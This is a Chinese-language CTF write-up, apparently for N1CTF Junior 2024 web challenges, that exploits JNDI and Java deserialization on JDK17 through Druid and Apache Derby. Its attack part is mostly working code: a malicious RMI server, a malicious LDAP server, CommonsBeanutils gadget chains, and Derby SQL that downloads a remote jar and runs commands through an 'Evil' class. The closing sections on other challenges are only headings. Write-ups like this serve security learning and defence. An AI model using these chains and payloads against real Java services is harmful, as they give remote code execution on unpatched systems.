Derby
题目pom如下,依赖druid和derby,jdk版本为17
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <properties> <java.version>17</java.version> </properties> <dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>com.alibaba</groupId> <artifactId>druid</artifactId> <version>1.2.21</version> </dependency> <dependency> <groupId>org.apache.derby</groupId> <artifactId>derby</artifactId> <version>10.14.2.0</version> </dependency> </dependencies>
|
题目给了裸的jndi入口,这里初见有两个思路
1. 打反序列化
这里是jdk17,由于不同包之间的访问限制,没法用TemplatesImpl等jdk内部类来打反序列化
2.用druid打jdbc
这里的druid可以绕过jndi高版本限制,转化为jdbc,调用链如下
1 2 3 4 5 6
| createPhysicalConnection:1663, DruidAbstractDataSource (com.alibaba.druid.pool) init:914, DruidDataSource (com.alibaba.druid.pool) config:392, DruidDataSourceFactory (com.alibaba.druid.pool) createDataSourceInternal:162, DruidDataSourceFactory (com.alibaba.druid.pool) getObjectInstance:157, DruidDataSourceFactory (com.alibaba.druid.pool) getObjectInstance:331, NamingManager (javax.naming.spi)
|
这里的derby可以通过slave主从来打反序列化rce,限制条件跟上面一样,
另一种办法是通过sql来rce,思路类似h2,可以参考http://www.lvyyevd.cn/archives/derby-shu-ju-ku-ru-he-shi-xian-rce
需要执行的sql在jdbc连接串中无法添加,需要在initConnectionSqls属性中设置
1 2 3 4
| CALL SQLJ.INSTALL_JAR('http://host.docker.internal:8000/exp.jar', 'APP.Evil', 0); CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Evil'); CREATE PROCEDURE cmd(IN cmd VARCHAR(255)) PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'Evil.exec'; CALL cmd('calc');
|
编写恶意类
1 2 3 4 5 6 7
| public class Evil { public static void exec(String cmd) throws Exception { Runtime.getRuntime().exec(cmd); } }
|
打包成jar,部署在web服务器上
1 2
| javac .\Evil.java jar -cvf Exp.jar Evil.class
|
这里写一个恶意的rmi服务端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| package com.example;
import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import javax.naming.StringRefAddr; import java.rmi.Naming; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class RmiServer { public static void main(String[] args) { try{ Registry registry = LocateRegistry.createRegistry(1099); Reference ref = new Reference("javax.sql.DataSource","com.alibaba.druid.pool.DruidDataSourceFactory",null); String JDBC_URL = "jdbc:derby:testexp;create=true";
String sql="CALL SQLJ.INSTALL_JAR('http://127.0.0.1:8000/Exp.jar', 'APP.Evil', 0);\n" + "CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Evil');\n" + "CREATE PROCEDURE cmd(IN cmd VARCHAR(255)) PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'Evil.exec';\n" + "CALL cmd('calc');"; ref.add(new StringRefAddr("driverClassName","org.apache.derby.jdbc.EmbeddedDriver")); ref.add(new StringRefAddr("url",JDBC_URL));
ref.add(new StringRefAddr("initialSize","1")); ref.add(new StringRefAddr("init","true")); ref.add(new StringRefAddr("initConnectionSqls",sql));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
Naming.bind("rmi://localhost:1099/exp",referenceWrapper); } catch(Exception e){ e.printStackTrace(); } } }
|
触发jndi
1
| GET /lookup?url=rmi://127.0.0.1:1099/exp
|
DerbyPlus
这题的依赖新增了cb,但是原先的jndi接口改为了裸的反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.8.3</version> </dependency> <dependency> <groupId>com.alibaba</groupId> <artifactId>druid</artifactId> <version>1.2.21</version> </dependency> <dependency> <groupId>org.apache.derby</groupId> <artifactId>derby</artifactId> <version>10.14.2.0</version> </dependency> </dependencies>
|
和上一题一样的思路,这里给出的cb可以调用任意getter
1.利用LdapAttribute来打ldap
先准备ldap服务端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91
| package com.example;
import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode;
import javax.naming.Reference; import javax.naming.StringRefAddr; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.net.InetAddress;
public class LdapServer { private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) {
int port = 1389;
try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor()); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch (Exception e) { e.printStackTrace(); } }
private static class OperationInterceptor extends InMemoryOperationInterceptor {
@Override public void processSearchResult(InMemoryInterceptedSearchResult result) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base);
e.addAttribute("javaClassName", "foo"); try { String sql="CALL SQLJ.INSTALL_JAR('http://127.0.0.1:8000/Exp.jar', 'APP.Evil', 0);\n" + "CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Evil');\n" + "CREATE PROCEDURE cmd(IN cmd VARCHAR(255)) PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'Evil.exec';\n" + "CALL cmd('calc');";
Reference ref = new Reference("javax.sql.DataSource", "com.alibaba.druid.pool.DruidDataSourceFactory", null); ref.add(new StringRefAddr("url", "jdbc:derby:webdb;create=true")); ref.add(new StringRefAddr("init", "true")); ref.add(new StringRefAddr("initialSize", "1")); ref.add(new StringRefAddr("initConnectionSqls", sql));
e.addAttribute("javaSerializedData", serialize(ref));
result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } catch (Exception exception) { exception.printStackTrace(); } } }
public static byte[] serialize(Object obj) { ByteArrayOutputStream arr = new ByteArrayOutputStream(); try (ObjectOutputStream output = new ObjectOutputStream(arr)){ output.writeObject(obj); } catch (Exception e) { e.printStackTrace(); } return arr.toByteArray(); } }
|
cb链调用getAttributeDefinition即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException { BasicAttribute ldapAttr = getGadgetObj(); BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); queue.add("1"); queue.add("2");
setFieldValue(queue,"queue",new Object[]{ldapAttr,ldapAttr}); setFieldValue(comparator,"property","attributeDefinition");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream); oos.writeObject(queue); String baseStr = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); System.out.println(baseStr); } public static BasicAttribute getGadgetObj(){ try{ Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute"); Constructor clazz_cons = clazz.getDeclaredConstructor(new Class[]{String.class}); clazz_cons.setAccessible(true); BasicAttribute la = (BasicAttribute)clazz_cons.newInstance(new Object[]{"exp"}); Field bcu_fi = clazz.getDeclaredField("baseCtxURL"); bcu_fi.setAccessible(true); bcu_fi.set(la, "ldap://127.0.0.1:1389/"); CompositeName cn = new CompositeName(); cn.add("a"); cn.add("b"); Field rdn_fi = clazz.getDeclaredField("rdn"); rdn_fi.setAccessible(true); rdn_fi.set(la, cn); return la; }catch (Exception e){ e.printStackTrace(); } return null; }
|
2.直接调用DruidDataSource的getConnection
设置好属性即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| public static void main(String[] args) throws Exception { String sql="CALL SQLJ.INSTALL_JAR('http://127.0.0.1:8000/Exp.jar', 'APP.Evil', 0);\n" + "CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Evil');\n" + "CREATE PROCEDURE cmd(IN cmd VARCHAR(255)) PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'Evil.exec';\n" + "CALL cmd('calc');"; StringTokenizer tokenizer = new StringTokenizer(sql, ";"); DruidDataSource druidDataSource = new DruidDataSource(); druidDataSource.setUrl("jdbc:derby:dbname;create=true"); druidDataSource.setInitialSize(1); druidDataSource.setDriverClassName("org.apache.derby.jdbc.EmbeddedDriver"); druidDataSource.setConnectionInitSqls(Collections.list(tokenizer));
setFieldValue(druidDataSource,"logWriter",null); setFieldValue(druidDataSource,"statLogger",null); setFieldValue(druidDataSource,"transactionHistogram",null); setFieldValue(druidDataSource,"initedLatch",null);
BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); queue.add("1"); queue.add("2");
setFieldValue(queue,"queue",new Object[]{druidDataSource,druidDataSource}); setFieldValue(comparator,"property","connection");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream); oos.writeObject(queue); String baseStr = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); System.out.println(baseStr);
}
|
3.调用DruidDataSourceFactory的getObjectInstance(比较麻烦)
同上,一样可以触发jdbc
zako
php
MyGo
go环境变量注入rce
Reference
wp:
https://boogipop.com/2024/02/05/2024%20N1CTF%20Junior%20Web%20Writeup/
https://exp10it.io/2024/02/n1ctf-junior-2024-web-official-writeup/
jndi-druid
https://xz.aliyun.com/t/10656
derby-sqlrce
http://www.lvyyevd.cn/archives/derby-shu-ju-ku-ru-he-shi-xian-rce